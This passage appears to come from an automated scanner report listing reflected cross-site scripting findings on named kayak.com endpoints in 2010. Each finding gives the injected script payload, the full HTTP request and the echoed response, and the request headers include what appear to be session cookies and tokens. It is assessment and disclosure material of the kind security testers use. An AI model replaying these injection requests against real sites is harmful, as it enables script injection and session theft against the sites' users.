Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:19:53 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 5896


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved. -->

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.d
...[SNIP]...
</script>b26c2e6eb85">ba1c1<script>alert(1)</script>b26c2e6eb85</a>
...[SNIP]...

2.9. http://www.kayak.com/in [url parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /in

Issue detail

The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1bd51"><script>alert(1)</script>c948977f509 was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /in?a=hfdccmp&url=1bd51"><script>alert(1)</script>c948977f509 HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/vIWLzl
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations; p1.med.sc=3; p1.med.searched=true; dc=dc2; cluster=4

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:19:49 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 5910


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved. -->

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.d
...[SNIP]...
<a href="1bd51"><script>alert(1)</script>c948977f509">
...[SNIP]...

2.10. http://www.kayak.com/k/cookie [metacookie parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /k/cookie

Issue detail

The value of the metacookie request parameter is copied into the HTML document as plain text between tags. The payload 8452a<script>alert(1)</script>e6ae2723914dd8f2a was submitted in the metacookie parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /k/cookie?action=setmeta&metacookie=EASYCLICKTRAVELUS_HFDCMP28452a<script>alert(1)</script>e6ae2723914dd8f2a&metavalue=true HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Origin: http://www.kayak.com
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:18:39 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 13891

<html>
<head>
<title>Cookies</title>
<link rel="shortcut icon" href="/k.ico"/>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesh
...[SNIP]...
<br/>
Added new meta cookie, 'EASYCLICKTRAVELUS_HFDCMP28452a<script>alert(1)</script>e6ae2723914dd8f2a' with value 'true'<br>
...[SNIP]...

2.11. http://www.kayak.com/k/cookie [metavalue parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /k/cookie

Issue detail

The value of the metavalue request parameter is copied into the HTML document as plain text between tags. The payload 1456c<script>alert(1)</script>b5a2bbca1ae65bdac was submitted in the metavalue parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /k/cookie?action=setmeta&metacookie=EASYCLICKTRAVELUS_HFDCMP2&metavalue=true1456c<script>alert(1)</script>b5a2bbca1ae65bdac HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Origin: http://www.kayak.com
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:18:39 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 13290

<html>
<head>
<title>Cookies</title>
<link rel="shortcut icon" href="/k.ico"/>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesh
...[SNIP]...
<br/>
Added new meta cookie, 'EASYCLICKTRAVELUS_HFDCMP2' with value 'true1456c<script>alert(1)</script>b5a2bbca1ae65bdac'<br>
...[SNIP]...

2.12. http://www.kayak.com/k/profile/alerts [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.kayak.com
Path:   /k/profile/alerts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56995"><a>3ba554e87d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /k/profile/alerts?56995"><a>3ba554e87d0=1 HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:56 GMT
Content-Length: 15764
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0

<html>
<head>
<meta property="fb:app_id" content="163003079204"/>
<meta property="og:site_name" content="KAYAK"/>

<link rel="stylesheet" href="/v349/css/reset-fonts-grids.css" type="tex
...[SNIP]...
<input type="hidden" name="redir" value="http://www.kayak.com/k/profile/alerts?56995"><a>3ba554e87d0=1" />
...[SNIP]...

2.13. http://www.kayak.com/maps/geocoder [h parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /maps/geocoder

Issue detail

The value of the h request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82100"><script>alert(1)</script>34da5c71567 was submitted in the h parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /maps/geocoder?w=1&h=182100"><script>alert(1)</script>34da5c71567 HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:18:49 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 1736

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="ht
...[SNIP]...
<div id="map" style="width: 1px; height: 182100"><script>alert(1)</script>34da5c71567px">
...[SNIP]...

2.14. http://www.kayak.com/maps/geocoder [w parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /maps/geocoder

Issue detail

The value of the w request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de8a8"><script>alert(1)</script>9d025979f4c was submitted in the w parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /maps/geocoder?w=1de8a8"><script>alert(1)</script>9d025979f4c&h=1 HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:18:48 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 1736

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="ht
...[SNIP]...
<div id="map" style="width: 1de8a8"><script>alert(1)</script>9d025979f4cpx; height: 1px">
...[SNIP]...

2.15. http://www.kayak.com/s/jsresults [s parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /s/jsresults

Issue detail

The value of the s request parameter is copied into the HTML document as plain text between tags. The payload 37418<script>alert(1)</script>765e27781cc was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s/jsresults?ss=1&poll=1&final=false&updateStamp=1289680804695&lm=1&lmname=Boston+(city+center)&c=15&s=37418<script>alert(1)</script>765e27781cc&searchid=caKg5L&itd=&poll=1&vw=list HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/caKg5L
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=2; dc=dc2; cluster=4; p1.med.searched=true

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/javascript;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:18:16 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=11-2igGijWtcXJ1_6j3qkLk; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=mKNCLNqDNFInEBY7JE$hNg; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:18:15 GMT; Path=/
Set-Cookie: p1.med.searched=true; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 21:18:15 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 185061


<div class="exec first">
if(!Streaming.done)
{
Streaming.dbg("AV=753; TC=753; FI=150; UP=;");
}
window.R9TotalResultCount=753;

</div>



...[SNIP]...
if(window.Filters)
{
Filters.generate();
Filters.state(_filterState);
}

Streaming.finalResults(false);


updateDisplay(753, 150, "37418<script>alert(1)</script>765e27781cc", "true", "1");


if(Filters.restoreState())
{
jq(document).ready(refilter);
}
else if (window.checkInitialFilters)
{
jq(document).ready(checkInitialFilters);
}
...[SNIP]...

2.16. http://www.kayak.com/v349/h/nvtl/califrame.vtl [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/h/nvtl/califrame.vtl

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7b826<script>alert(1)</script>a794b685f31 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3497b826<script>alert(1)</script>a794b685f31/h/nvtl/califrame.vtl HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 20:43:43 GMT
Connection: close
Content-Length: 547

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3497b826<script>alert(1)</script>a794b685f31/h/nvtl/califrame.vtl</br>
...[SNIP]...

2.17. http://www.kayak.com/v349/js/alien/jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/alien/jquery.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b2309<script>alert(1)</script>b09fc6c1142 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349b2309<script>alert(1)</script>b09fc6c1142/js/alien/jquery.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/v349/h/nvtl/califrame.vtl?lc=en.US&singleMonth=undefined&allowPast=false
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; dc=dc2; cluster=4

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:40 GMT
Connection: close
Content-Length: 545

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349b2309<script>alert(1)</script>b09fc6c1142/js/alien/jquery.js</br>
...[SNIP]...

2.18. http://www.kayak.com/v349/js/car.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/car.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c5b37<script>alert(1)</script>2938e996074 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349c5b37<script>alert(1)</script>2938e996074/js/car.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/r/caKg5L
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sc=2; dc=dc2; cluster=4; p1.med.searched=true

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:42 GMT
Connection: close
Content-Length: 536

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349c5b37<script>alert(1)</script>2938e996074/js/car.js</br>
...[SNIP]...

2.19. http://www.kayak.com/v349/js/fdcar.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/fdcar.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 839e6<script>alert(1)</script>76b158de3ad was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349839e6<script>alert(1)</script>76b158de3ad/js/fdcar.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/cars
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4; p1.med.st=cars

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:42 GMT
Connection: close
Content-Length: 538

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349839e6<script>alert(1)</script>76b158de3ad/js/fdcar.js</br>
...[SNIP]...

2.20. http://www.kayak.com/v349/js/fdcommon.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/fdcommon.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c16e7<script>alert(1)</script>1c0c371b68f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349c16e7<script>alert(1)</script>1c0c371b68f/js/fdcommon.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; dc=dc2; cluster=4; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:36 GMT
Connection: close
Content-Length: 541

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349c16e7<script>alert(1)</script>1c0c371b68f/js/fdcommon.js</br>
...[SNIP]...

2.21. http://www.kayak.com/v349/js/fdflight.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/fdflight.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d065f<script>alert(1)</script>5af12d80ae7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v349d065f<script>alert(1)</script>5af12d80ae7/js/fdflight.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/flights
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4; p1.med.st=flights

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:41 GMT
Connection: close
Content-Length: 541

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v349d065f<script>alert(1)</script>5af12d80ae7/js/fdflight.js</br>
...[SNIP]...

2.22. http://www.kayak.com/v349/js/fdhotel.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /v349/js/fdhotel.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8cf05<script>alert(1)</script>8acf0a918a8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v3498cf05<script>alert(1)</script>8acf0a918a8/js/fdhotel.js HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; dc=dc2; cluster=4; p1.med.sid=3-dfohFUBsA8NPyE92DBsn; p1.med.token=imubEhgrlmFa4rEbnRuzxg

Response

HTTP/1.1 400 Bad Request
Server: Apache
Context-Type: text/html
Vary: Accept-Encoding
Content-Type: text/plain; charset=UTF-8
Date: Sat, 13 Nov 2010 21:17:36 GMT
Connection: close
Content-Length: 540

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>400 Bad Request</title>
</head>
<body>
<h1>Bad Request</h1>

<p> Your browser sent a request that this ser
...[SNIP]...
<br>
Request: /v3498cf05<script>alert(1)</script>8acf0a918a8/js/fdhotel.js</br>
...[SNIP]...

2.23. http://www.kayak.com/v349/js/fdvacation.js [REST URL parameter 1]  previous  next
